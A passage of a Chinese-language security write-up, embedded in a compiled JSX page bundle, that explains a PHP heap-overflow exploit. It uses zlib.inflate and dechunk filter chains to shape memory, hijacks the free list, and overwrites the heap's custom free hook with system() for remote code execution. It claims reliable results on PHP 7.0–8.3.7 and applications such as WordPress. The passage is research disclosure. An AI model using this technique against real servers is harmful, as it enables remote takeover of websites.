\uff0c\u4e00\u4e2a\u6876\u3002\u81f3\u5c11\u53ef\u4ee5\u8bf4\uff0c\u8fd9\u662f\u975e\u5e38\u4e0d\u5207\u5b9e\u9645\u7684\uff1a\u6211\u4eec\u4e0d\u80fd\u4f7f\u7528\u6c34\u6876\u6765\u586b\u5145\u5806\uff0c\u55b7\u6d12\u4e1c\u897f\uff0c\u751a\u81f3\u4f7f\u7528\u66f4\u6539\u540e\u7684\u514d\u8d39\u5217\u8868\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u60f3\u4e00\u60f3\uff1a\u4f7f\u7528\u5355\u4e2a\u5b58\u50a8\u6876\uff0c\u6211\u4eec\u53ef\u4ee5\u6ea2\u51fa\u5230\u4e00\u4e2a\u7a7a\u95f2\u533a\u5757\u4e2d\u5e76\u4fee\u6539\u4e00\u4e2a\u7a7a\u95f2\u5217\u8868\uff0c\u4f46\u662f\u6211\u4eec\u6ca1\u6709\u4e86\u5b58\u50a8\u6876\uff0c\u6211\u4eec\u81f3\u5c11\u9700\u8981 2 \u4e2a\u5206\u914d\u624d\u80fd\u4f7f\u7528\u6211\u4eec\u66f4\u6539\u7684\u7a7a\u95f2\u5217\u8868\uff01"}),"\n",(0,s.jsxs)(n.p,{children:["\u5e78\u8fd0\u7684\u662f\uff0c\u6709\u4e00\u79cd\u8fc7\u6ee4\u5668\u53ef\u4ee5\u633d\u6551\u8fd9\u4e00\u5929\uff1a ",(0,s.jsx)(n.code,{children:"zlib.inflate"})," .\u8fd9\u4e2a\u8fc7\u6ee4\u5668\u4f1a\u83b7\u53d6\u6211\u4eec\u7684\u6d41\u5e76\u5bf9\u5176\u8fdb\u884c\u89e3\u538b\u7f29\u3002\u4e3a\u6b64\uff0c\u5b83\u5206\u914d\u4e86\u4e00\u4e2a 8 \u9875\uff080x8000 \u5b57\u8282\uff09\u7684\u7f13\u51b2\u533a\uff0c\u5e76\u5c06\u6211\u4eec\u7684\u6d41\u81a8\u80c0\u5230\u5176\u4e2d\u3002\u5982\u679c\u5b83\u4e0d\u591f\u5927\uff0c\u5b83\u4f1a\u521b\u5efa\u4e00\u4e2a\u76f8\u540c\u5927\u5c0f\u7684\u65b0\u7f13\u51b2\u533a\u6765\u5b58\u50a8\u5176\u4f59\u6570\u636e\u3002\u5982\u679c\u8fd9\u4e24\u8005\u4ecd\u7136\u4e0d\u591f\uff0c\u5b83\u4f1a\u521b\u5efa\u53e6\u4e00\u4e2a\u7f13\u51b2\u533a\u3002\u7136\u540e\u5c06\u6bcf\u4e2a\u7f13\u51b2\u533a\u6dfb\u52a0\u5230\u5b58\u50a8\u6876\u4e2d\u3002\u5b8c\u7f8e\uff1a\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u8fd9\u4e2a\u8fc7\u6ee4\u5668\u6765\u521b\u5efa\u4efb\u610f\u6570\u91cf\u7684\u5b58\u50a8\u6876\uff0c\u8fd9\u662f\u5411\u524d\u8fc8\u51fa\u7684\u4e00\u5927\u6b65\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112565.png-.png",alt:"img"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.em,{children:["\u7533\u8bf7 ",(0,s.jsx)(n.code,{children:"zlib.inflate"})," \u521b\u5efa\u591a\u4e2a\u5b58\u50a8\u6876"]})}),"\n",(0,s.jsx)(n.p,{children:"\u4f46\u662f\uff0c\u8fd9\u4e9b\u5b58\u50a8\u6876\u5177\u6709\u5927\u5c0f\u4e3a 0x8000 \u7684\u7f13\u51b2\u533a\uff0c\u8fd9\u4e0d\u662f\u4e00\u4e2a\u5f88\u597d\u7684\u5229\u7528\u5927\u5c0f;\u7f13\u51b2 \u8fd9\u4e9b\u5927\u5c0f\u7684\u5206\u914d\u65b9\u5f0f\u4e0e\u6211\u544a\u8bc9\u4f60\u7684\u65b9\u5f0f\u4e0d\u540c\uff0c\u5e76\u4e14\u5728\u91ca\u653e\u65f6\u4e0d\u4f1a\u8fdb\u5165\u53ef\u7528\u5217\u8868\u3002\u6211\u4eec\u9700\u8981\u8c03\u6574\u5b58\u50a8\u6876\u7684\u5927\u5c0f\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u6b63\u786e\u62c6\u89e3",children:"\u6b63\u786e\u62c6\u89e3"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e3a\u6b64\uff0c\u6211\u4eec\u5c06\u4f7f\u7528\u4e00\u4e2a PHP \u672a\u8bb0\u5f55\u4f46\u653b\u51fb\u8005\u6240\u719f\u77e5\u7684\u8fc7\u6ee4\u5668\uff1a ",(0,s.jsx)(n.code,{children:"dechunk"})," .\u6b64\u7b5b\u9009\u5668\u89e3\u7801 HTTP \u5206\u5757\u7f16\u7801\u7684\u5b57\u7b26\u4e32\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"HTTP-chunked \u662f\u4e00\u79cd\u975e\u5e38\u7b80\u5355\u7684\u7f16\u7801\uff0c\u60a8\u53ef\u4ee5\u5728\u5176\u4e2d\u6309\u5757\uff08\u4e0d\u662f\u5806\u5757\uff0c\u6570\u636e\u5757\uff09\u53d1\u9001\u6570\u636e\u3002\u9996\u5148\uff0c\u53d1\u9001\u4e00\u4e2a\u5927\u5c0f\u4e3a ASCII-hex\uff0c\u540e\u8ddf\u4e00\u4e2a\u6362\u884c\u7b26\uff0c\u7136\u540e\u662f\u76f8\u5e94\u5927\u5c0f\u7684\u6570\u636e\u5757\uff0c\u540e\u8ddf\u4e00\u4e2a\u6362\u884c\u7b26\u3002\u7136\u540e\uff0c\u53d1\u9001\u53e6\u4e00\u4e2a\u5927\u5c0f\u3001\u53e6\u4e00\u4e2a\u5757\u3001\u53e6\u4e00\u4e2a\u5927\u5c0f\u3001\u53e6\u4e00\u4e2a\u5757\uff0c\u5e76\u901a\u8fc7\u53d1\u9001\u5927\u5c0f 0\uff08\u96f6\uff09\u6765\u6307\u793a\u6570\u636e\u7684\u7ed3\u675f\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112566.png-.png",alt:"img"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.em,{children:"\u4f7f\u7528 HTTP \u5206\u5757\u7f16\u7801\u7f16\u7801\u7684\u6570\u636e"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u6b64\u793a\u4f8b\u4e2d\uff0c\u7b2c\u4e00\u4e2a\u5757\u957f 8 \u4e2a\u5b57\u8282\uff0c\u7b2c\u4e8c\u4e2a\u5757\u957f 17 \u4e2a\u5b57\u8282 \uff0811h)\uff0c\u6700\u540e\u4e00\u4e2a\u5757\u957f 13 \u4e2a\u5b57\u8282\u3002\u5728 ing \u4e4b\u540e ",(0,s.jsx)(n.code,{children:"dechunk"})," \uff0c\u7ed3\u679c\u5c06\u662f\uff1a ",(0,s.jsx)(n.code,{children:"This is how the chunked encoding works"})," \u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u4f7f\u7528\u6b64\u8fc7\u6ee4\u5668\uff0c\u8c03\u6574\u5b58\u50a8\u6876\u7684\u5927\u5c0f\u542c\u8d77\u6765\u50cf\u662f\u513f\u620f\uff1a\u5728\u6bcf\u4e2a\u5b58\u50a8\u6876\u4e2d\uff0c\u6211\u4eec\u4ee5\u6240\u9700\u7684\u5927\u5c0f\u4e3a\u6570\u636e\u6dfb\u52a0\u524d\u7f00\uff08\u4f8b\u5982\uff0c\u7b2c\u4e00\u4e2a\u5b58\u50a8\u6876\u4e3a 0x148\uff0c\u7b2c\u4e8c\u4e2a\u5b58\u50a8\u6876\u4e3a 0x100 \u7b49\uff09\uff0c\u7136\u540e\u653e\u7f6e\u6570\u636e\uff0c\u7136\u540e\u6700\u540e\u4e00\u4e2a 0 \u8868\u793a\u6211\u4eec\u5b8c\u6210\u4e86\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112567.png-.png",alt:"img"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8bbe\u7f6e\u5b58\u50a8 ",(0,s.jsx)(n.code,{children:"dechunk"})," \u6876*"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5b83\u770b\u8d77\u6765\u4e0d\u9519\uff0c\u4f46\u5b83\u4e0d\u8d77\u4f5c\u7528\u3002\u867d\u7136\u662f\u5355\u72ec\u5904\u7406\u7684\uff0c\u4f46\u5b58\u50a8\u6876\u4e0d\u662f\u72ec\u7acb\u7684\uff1a\u5b83\u4eec\u90fd\u88ab\u89e3\u6790\u4e3a\u4e00\u4e2a\u5927\u6d41\u3002 ",(0,s.jsx)(n.code,{children:"dechunk"})," \u5f53\u7b5b\u9009\u5668\u5904\u7406\u6d41\u65f6\uff0c\u5b83\u4f1a\u8bfb\u53d6\u7b2c\u4e00\u4e2a\u5b58\u50a8\u6876 0x148 \u4e2d\u7684\u5927\u5c0f\uff0c\u53d6\u51fa 0x148 \u4e2a\u5b57\u8282\uff0c\u7136\u540e\u8bfb\u53d6\u5927\u5c0f\u4e3a\u96f6\uff0c\u8fd9\u4f1a\u5bfc\u81f4\u5b83\u505c\u6b62\u89e3\u6790\u3002\u5b83\u4e0d\u4f1a\u8fdb\u5165\u7b2c\u4e8c\u4e2a\u6876\u3002\u5b83\u53ea\u662f\u5b8c\u5168\u505c\u6b62\u89e3\u6790\u3002\u6211\u4eec\u64cd\u4f5c\u7684\u6700\u7ec8\u7ed3\u679c\u662f\uff0c\u6211\u4eec\u4ece\u51e0\u4e2a\u6876\uff08\u597d\uff09\u56de\u5230\u4e86\u4e00\u4e2a\u6876\uff08\u574f)\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u5e78\u8fd0\u7684\u662f\uff0c\u627e\u5230\u4e00\u79cd\u65b9\u6cd5\u6765\u89c4\u907f\u8fd9\u4e00\u70b9\u5e76\u4e0d\u96be\uff1a\u5728\u6bcf\u4e2a\u5b58\u50a8\u6876\u4e2d\uff0c\u6211\u4eec\u63d0\u4f9b\u4e00\u79cd\u5927\u5c0f\u548c\u4e00\u4e2a\u6570\u636e\u5757\u3002\u4e3a\u6b64\uff0c\u6211\u4eec\u4e0d\u662f\u5929\u771f\u5730\u5199\u4e00\u4e2a\u5927\u5c0f\uff0c\u800c\u662f\u7528\u6570\u5343\u4e2a\u96f6\u586b\u5145\u5b83\uff0c\u4ee5\u4fbf\u5f97\u5230\u8fd9\u6837\u7684\u4e1c\u897f\uff1a"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112568.png-.png",alt:"img"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.em,{children:["\u6b63\u786e\u8bbe\u7f6e\u5b58\u50a8 ",(0,s.jsx)(n.code,{children:"dechunk"})," \u6876"]})}),"\n",(0,s.jsx)(n.p,{children:"\u73b0\u5728\uff0c\u5728\u5904\u7406\u5b58\u50a8\u6876 1 \u540e\uff0cdehunk \u89e3\u6790\u5668\u8df3\u8f6c\u5230\u5b58\u50a8\u6876 2\uff0c\u51c6\u5907\u8bfb\u53d6\u65b0\u5927\u5c0f\uff0c\u7136\u540e\u8df3\u8f6c\u5230\u5b58\u50a8\u6876 3\uff0c\u4f9d\u6b64\u7c7b\u63a8\u3002\u5b83\u6709\u6548\uff01\u73b0\u5728\uff0c\u6211\u4eec\u53ef\u4ee5\u521b\u5efa\u4efb\u610f\u6570\u91cf\u7684\u5b58\u50a8\u6876\uff0c\u5e76\u5177\u6709\u6240\u9700\u7684\u5927\u5c0f\u3002\u6211\u4eec\u5df2\u7ecf\u53d6\u5f97\u4e86\u5de8\u5927\u7684\u98de\u8dc3\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u514d\u8d39\u5217\u8868\u63a7\u5236\u5199\u4ec0\u4e48\u5c31\u5199\u4ec0\u4e48",children:"\u514d\u8d39\u5217\u8868\u63a7\u5236\uff1a\u5199\u4ec0\u4e48\u5c31\u5199\u4ec0\u4e48"}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u73b0\u5728\u7684\u76ee\u6807\u662f\u901a\u8fc7\u8986\u76d6\u503c\u4e3a 48h\uff08 ",(0,s.jsx)(n.code,{children:"H"})," \u5728 ASCII \u4e2d\uff09\u7684\u67d0\u4e2a\u6307\u9488\u7684 LSB \u6765\u66f4\u6539\u4e00\u4e9b\u7a7a\u95f2\u5217\u8868\u3002\u4e3a\u4e86\u65e0\u6761\u4ef6\u5730\u83b7\u5f97\u76f8\u540c\u7684\u6548\u679c\uff0c\u6211\u4eec\u4ee5\u5927\u5c0f\u4e3a 0x100 \u7684\u5757\u4e3a\u76ee\u6807\uff0c\u56e0\u4e3a\u5757\u5730\u5740\u7684 LSB \u59cb\u7ec8\u4e3a\u96f6\u3002\u8fd9\u610f\u5473\u7740\u6ea2\u51fa\u7684\u6548\u679c\u59cb\u7ec8\u76f8\u540c\uff1a\u5c060x48\u6dfb\u52a0\u5230\u5757\u6307\u9488\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4e3a\u4e86\u5229\u7528\uff0c\u6211\u4eec\u9075\u5faa\u4e00\u4e2a\u975e\u5e38\u6807\u51c6\u7684 6 \u4e2a\u6b65\u9aa4\u3002\u6211\u4eec\u5c06\u5927\u5c0f\u4e3a 0x100 \u5757\u7684\u514d\u8d39\u5217\u8868\u547d\u540d\u4e3a ",(0,s.jsx)(n.code,{children:"FL[0x100]"})," \u3002"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112569.png-.png",alt:"img"}),"* ",(0,s.jsx)(n.code,{children:"FL[0x100]"})," \u63a7\u5236 ",(0,s.jsx)(n.code,{children:"FL[0x100]"}),"*"]}),"\n",(0,s.jsxs)(n.p,{children:["\u8003\u8651\u5230\u6211\u4eec\u5df2\u7ecf\u8bbe\u6cd5\u901a\u8fc7\u5206\u914d\u5927\u91cf0x100\u5757\u6765\u586b\u5145\u5806\u3002\u56e0\u6b64\uff0c\u5728\u5185\u5b58\u7684\u67d0\u4e2a\u5730\u65b9\uff0c\u6211\u4eec\u6709\u4e09\u4e2a\u8fde\u7eed\u7684\u81ea\u7531\u5757 ",(0,s.jsx)(n.code,{children:"A"})," \u3001 ",(0,s.jsx)(n.code,{children:"B"})," \u548c ",(0,s.jsx)(n.code,{children:"C"})," \uff0c ",(0,s.jsx)(n.code,{children:"A"})," \u5e76\u4e14\u662f \u7684 ",(0,s.jsx)(n.code,{children:"FL[100]"})," \u3002 ",(0,s.jsx)(n.code,{children:"A"})," \u6307\u5411 ",(0,s.jsx)(n.code,{children:"B"})," \uff0c\u800c \u6307\u5411 ",(0,s.jsx)(n.code,{children:"C"})," \u3002\u6211\u4eec\u53ef\u4ee5\u5206\u914d\u5176\u4e2d\u7684 3 \u4e2a\uff08\u7b2c 2 \u6b65\uff09\uff0c\u7136\u540e\u518d\u6b21\u91ca\u653e\u5b83\u4eec\uff08\u7b2c 3 \u6b65\uff09\u3002\u5728\u8fd9\u4e00\u70b9\u4e0a\uff0c\u514d\u8d39\u5217\u8868\u662f\u76f8\u53cd\u7684\uff1a\u6211\u4eec\u6709 ",(0,s.jsx)(n.code,{children:"C"})," \u2192 ",(0,s.jsx)(n.code,{children:"B"})," \u2192 ",(0,s.jsx)(n.code,{children:"A"})," \u3002\u7136\u540e\u6211\u4eec\u518d\u6b21\u5206\u914d\uff0c\u4f46\u8fd9\u6b21\u6211\u4eec\u5728\u504f\u79fb ",(0,s.jsx)(n.code,{children:"48h"})," \u91cf\u5904 ",(0,s.jsx)(n.code,{children:"C"})," \u653e\u7f6e\u4e00\u4e2a\u4efb\u610f\u6307\u9488 ",(0,s.jsx)(n.code,{children:"0x1122334455"})," \uff08\u6b65\u9aa4 4\uff09\u3002\u6211\u4eec\u518d\u6b21\u91ca\u653e\u5b83\u4eec\uff08\u6b65\u9aa4 5\uff09\uff0c\u5e76\u83b7\u5f97\u4e0e\u6b65\u9aa4 1 \u5b8c\u5168\u76f8\u540c\u7684\u72b6\u6001\uff0c\u4f46\u8fd9\u6b21\u7565\u6709\u4e0d\u540c\uff1a\u5728 ",(0,s.jsx)(n.code,{children:"C+48h"})," \uff0c\u6211\u4eec\u6709\u4e00\u4e2a\u4efb\u610f\u6307\u9488\u3002\u6211\u4eec\u73b0\u5728\u53ef\u4ee5\u4ece \u5757 ",(0,s.jsx)(n.code,{children:"A"})," \u6267\u884c\u6ea2\u51fa\uff0c\u8fd9\u4f1a\u79fb\u52a8\u5305\u542b\u5728 \u4e2d\u7684 ",(0,s.jsx)(n.code,{children:"B"})," \u6307\u9488\u3002\u5b83\u73b0\u5728\u6307\u5411 ",(0,s.jsx)(n.code,{children:"C+48h"})," \uff0c\u56e0\u6b64\uff0c\u514d\u8d39\u5217\u8868\u73b0\u5728 ",(0,s.jsx)(n.code,{children:"B"})," ",(0,s.jsx)(n.code,{children:"C+48h"})," \u2192\u2192 ",(0,s.jsx)(n.code,{children:"0x1122334455"})," \u3002\u518d\u5206\u914d 3 \u4e2a\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u4efb\u610f\u5730\u5740\u8fdb\u884c PHP \u5206\u914d\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u73b0\u5728\u6709\u4e00\u4e2a\u5199\u4ec0\u4e48\u7684\u5730\u65b9;\u8fd9\u5feb\u7ed3\u675f\u4e86\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u4f46\u662f\uff0c\u8ba9\u6211\u56de\u5230\u6f0f\u6d1e\u5229\u7528\u7684\u5b9e\u73b0\u4e0a\u6765\u3002\u5728\u8fd9\u91cc\u63cf\u8ff0\u7684\u5404\u4e2a\u6b65\u9aa4\u4e2d\uff0c\u6211\u4eec\u6709\u5206\u914d\u7136\u540e\u91ca\u653e\u7684\u5757\u3002\u4f46\u662f\u6211\u4eec\u65e0\u6cd5\u771f\u6b63\u6446\u8131\u6c34\u6876\uff1a\u6211\u4eec\u53ea\u80fd\u6539\u53d8\u5b83\u4eec\u7684\u5927\u5c0f\u3002\u4f46\u662f\uff0c\u6211\u4eec\u53ea\u5bf9\u5927\u5c0f0x100\u5757\u611f\u5174\u8da3\u3002\u5c31\u597d\u50cf\u5176\u4ed6\u5757\u4e0d\u5b58\u5728\u4e00\u6837\u3002\u56e0\u6b64\uff0c\u6211\u5c06\u6bcf\u4e2a\u5b58\u50a8\u6876\u6784\u5efa\u4e3a\u4e00\u4e2a HTTP \u5206\u5757\u7684\u4fc4\u7f57\u65af\u5a03\u5a03\uff1a"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112570.png-.png",alt:"img"}),"\n\u4e00\u4e2a\u6c34\u6876\u7684\u4fc4\u7f57\u65af\u5a03\u5a03\uff1a\u5b83\u7684\u5927\u5c0f\u5728\u6bcf\u4e2a ",(0,s.jsx)(n.code,{children:"dechunk"})," \u6876\u4e0a\u90fd\u53d8\u5316*"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5bf9\u4e8e\u6f0f\u6d1e\u5229\u7528\u7684\u6bcf\u4e2a\u6b65\u9aa4\uff0c ",(0,s.jsx)(n.code,{children:"dechunk"})," \u90fd\u4f1a\u8c03\u7528\u8fc7\u6ee4\u5668\uff1a\u56e0\u6b64\uff0c\u6bcf\u4e2a\u5b58\u50a8\u6876\u7684\u5927\u5c0f\u90fd\u4f1a\u53d1\u751f\u53d8\u5316\u3002\u6709\u4e9b\u5c3a\u5bf8\u53d80x100\uff0c\u4ece\u800c\u5728\u5265\u524a\u4e2d\u201c\u51fa\u73b0\u201d\uff0c\u6709\u4e9b\u53d8\u5c0f\uff0c\u4ece\u800c\u6d88\u5931\u3002\u5b83\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u79cd\u5b8c\u7f8e\u7684\u65b9\u5f0f\uff0c\u8ba9\u6c34\u6876\u5728\u7279\u5b9a\u65f6\u523b\u5b9e\u73b0\uff0c\u5e76\u5728\u6211\u4eec\u4e0d\u518d\u9700\u8981\u5b83\u4eec\u65f6\u5c06\u5b83\u4eec\u6254\u6389\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u8bf4\u5b8c\u8fd9\u4e9b\uff0c\u8ba9\u6211\u4eec\u5f00\u59cb\u6267\u884c\u4ee3\u7801\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u4ee3\u7801\u6267\u884c",children:"\u4ee3\u7801\u6267\u884c"}),"\n",(0,s.jsxs)(n.p,{children:["\u867d\u7136\u6211\u4eec\u901a\u8fc7\u9605\u8bfb ",(0,s.jsx)(n.code,{children:"/proc/self/maps"})," \u6765\u67e5\u770b\u5185\u5b58\u533a\u57df\uff0c\u4f46\u6211\u4eec\u5e76\u4e0d\u786e\u5207\u5730\u77e5\u9053\u6211\u4eec\u5728\u5806\u4e2d\u7684\u4f4d\u7f6e\u3002\u5e78\u8fd0\u7684\u662f\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u627e\u5230PHP\u7684\u5806\u6765\u5b8c\u5168\u5ffd\u7565\u8fd9\u4e2a\u95ee\u9898\u3002\u7531\u4e8e\u5176\u5bf9\u9f50\u65b9\u5f0f \uff08~0x1fffff\uff09 \u548c\u5927\u5c0f \uff082MB\uff09\uff0c\u5b83\u5f88\u5bb9\u6613\u8bc6\u522b\u3002\u5728\u5b83\u7684\u9876\u90e8\u9a7b\u7559\u7740\u4e00\u4e2a ",(0,s.jsx)(n.code,{children:"zend_mm_heap"})," \u7ed3\u6784\uff0c\u5176\u4e2d\u5305\u542b\u975e\u5e38\u6709\u7528\u7684\u5b57\u6bb5\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"struct _zend_mm_heap {\n ...\n int use_custom_heap;\n ...\n zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */\n ...\n union {\n struct {\n void *(*_malloc)(size_t);\n void (*_free)(void*);\n void *(*_realloc)(void*, size_t);\n } std;\n } custom_heap;\n};\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u9996\u5148\uff0c\u5b83\u5305\u542b\u6240\u6709\u514d\u8d39\u5217\u8868\u3002\u901a\u8fc7\u8986\u76d6\u7a7a\u95f2\u5217\u8868\uff0c\u6211\u4eec\u5f97\u5230\u4e86\u4efb\u610f\u6570\u91cf\u7684\u4efb\u610f\u5927\u5c0f\u7684\u5199\u5165\u5185\u5bb9\u3002\u6211\u4eec\u53ef\u4ee5\u7528\u5b83\u4eec\u6765\u8986\u76d6\u6700\u540e\u4e00\u4e2a\u5b57\u6bb5 ",(0,s.jsx)(n.code,{children:"custom_heap"})," \uff0c\u8be5\u5b57\u6bb5\u5305\u542b ",(0,s.jsx)(n.code,{children:"emalloc()"})," \u548c ",(0,s.jsx)(n.code,{children:"efree()"})," \u7684 ",(0,s.jsx)(n.code,{children:"erealloc()"})," \u66ff\u4ee3\u51fd\u6570\uff08\u7c7b\u4f3c\u4e8e glibc \u4e2d\u7684 ",(0,s.jsx)(n.code,{children:"__malloc_hook"})," \u53ca\u5176\u540c\u7ea7\u51fd\u6570\uff09\u3002\u7136\u540e\uff0c\u6211\u4eec\u8bbe\u7f6e\u4e3a ",(0,s.jsx)(n.code,{children:"use_custom_heap"})," ",(0,s.jsx)(n.code,{children:"1"})," \uff0c\u5e76\u8c03\u7528 ",(0,s.jsx)(n.code,{children:"free()"})," \u4e00\u4e2a\u5b58\u50a8\u6876\uff0c\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e00\u4e2a\u5e26\u6709\u53d7\u63a7\u53c2\u6570\u7684\u4efb\u610f\u51fd\u6570\u8c03\u7528\u3002\u7531\u4e8e\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u6587\u4ef6\u8bfb\u53d6\u8bbf\u95ee\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u6784\u5efa\u82b1\u54e8\u7684 ROP \u94fe\uff0c\u4f46\u6211\u4eec\u60f3\u8981\u5c3d\u53ef\u80fd\u901a\u7528\u7684\u4e1c\u897f;\u56e0\u6b64\uff0c\u6211\u8bbe\u7f6e\u4e3a ",(0,s.jsx)(n.code,{children:"custom_heap._free"})," ",(0,s.jsx)(n.code,{children:"system"})," \uff0c\u5141\u8bb8\u6211\u4eec\u4ee5 CTF \u65b9\u5f0f\u8fd0\u884c\u4efb\u610f bash \u547d\u4ee4\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.em,{children:"\u6ce8\u610f\uff1a\u6211\u9057\u6f0f\u4e86\u4e00\u4e9b\uff08\u8bb8\u591a\uff09\u5173\u4e8e\u6f0f\u6d1e\u5229\u7528\u7684\u7ec6\u8282\uff0c\u4f46\u5bf9\u6f0f\u6d1e\u8fdb\u884c\u4e86\u5927\u91cf\u8bc4\u8bba\u3002"})}),"\n",(0,s.jsx)(n.h4,{id:"\u5229\u7528\u6027\u80fd",children:"\u5229\u7528\u6027\u80fd"}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u7684\u6f0f\u6d1e\u5229\u7528\u8fd0\u884c\u4e86 3 \u4e2a\u8bf7\u6c42\uff1a\u5b83\u4e0b\u8f7d ",(0,s.jsx)(n.code,{children:"/proc/self/maps"})," \uff0c\u5e76\u63d0\u53d6 PHP \u5806\u7684\u5730\u5740\u548c libc \u7684\u6587\u4ef6\u540d\u3002\u7136\u540e\uff0c\u5b83\u4e0b\u8f7d libc \u4e8c\u8fdb\u5236\u6587\u4ef6\u4ee5\u63d0\u53d6 \u7684 ",(0,s.jsx)(n.code,{children:"system()"})," \u5730\u5740\u3002\u6700\u540e\uff0c\u5b83\u6267\u884c\u6267\u884c\u6ea2\u51fa\u7684\u6700\u7ec8\u8bf7\u6c42\u5e76\u6267\u884c\u6211\u4eec\u7684\u4efb\u610f\u547d\u4ee4\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u5b83\u7684\u8868\u73b0\u975e\u5e38\u597d\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u9002\u7528\u4e8e\u4efb\u4f55\u76ee\u6807\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"From PHP 7.0.0 (2015) to 8.3.7 (2024)\n\u4ece PHP 7.0.0 \uff082015\uff09 \u5230 8.3.7 \uff082024\uff09"}),"\n",(0,s.jsx)(n.li,{children:"Any PHP application: Wordpress, Laravel, etc.\n\u4efb\u4f55PHP\u5e94\u7528\u7a0b\u5e8f\uff1aWordpress\uff0cLaravel\u7b49\u3002"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\u5b83\u662f100%\u53ef\u9760\u7684\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"Due to its implementation, it will never (?) produce a crash\n\u7531\u4e8e\u5b83\u7684\u5b9e\u73b0\uff0c\u5b83\u6c38\u8fdc\u4e0d\u4f1a\uff08\uff1f\uff09\u4ea7\u751f\u5d29\u6e83"}),"\n",(0,s.jsx)(n.li,{children:"A binary exploit that feels like a web exploit!\n\u611f\u89c9\u50cf\u7f51\u7edc\u6f0f\u6d1e\u7684\u4e8c\u8fdb\u5236\u6f0f\u6d1e\uff01"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\u6709\u6548\u8d1f\u8f7d\u5c0f\u4e8e 1000 \u5b57\u8282\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u901a\u8fc7\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"zlib.inflate"})," \u548c\u4ec5 12 \u4e2a\u8fc7\u6ee4\u5668\uff0c\u6709\u6548\u8f7d\u8377\u975e\u5e38\u5c0f"]}),"\n",(0,s.jsx)(n.li,{children:"\u5b83\u9002\u5408 GET \u8bf7\u6c42"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\u81ea\u5305\u542b\u6f0f\u6d1e\u5229\u7528\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u65e0\u9700\u4ee5 GET \u6216 POST \u7684\u5f62\u5f0f\u53d1\u9001\u5176\u4ed6\u53c2\u6570\uff1a\u6f0f\u6d1e\u5229\u7528\u4f1a\u81ea\u884c\u5b8c\u6210\u6240\u6709\u64cd\u4f5c\uff0c\u4ece\u586b\u5145\u5806\u5230\u8bbe\u7f6e\u53ef\u7528\u5217\u8868\uff0c\u6700\u540e\u6267\u884c\u4ee3\u7801"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u5b83\u662f\u4e00\u4e2a\u5c0f\u4e8e 1000 \u5b57\u8282\u7684\u5355\u4e2a\u6709\u6548\u8d1f\u8f7d\uff0c\u53ef\u8fdc\u7a0b\u6267\u884c 10 \u5e74\u7684 PHP \u7248\u672c\u4ee3\u7801\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u6f14\u793a",children:"\u6f14\u793a"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e3a\u4e86\u8bf4\u660e\u8fd9\u4e00\u70b9\uff0c\u6211\u5c06\u4ee5\u8fd0\u884c\u5728 PHP 8.3.x \u4e0a\u7684 Wordpress 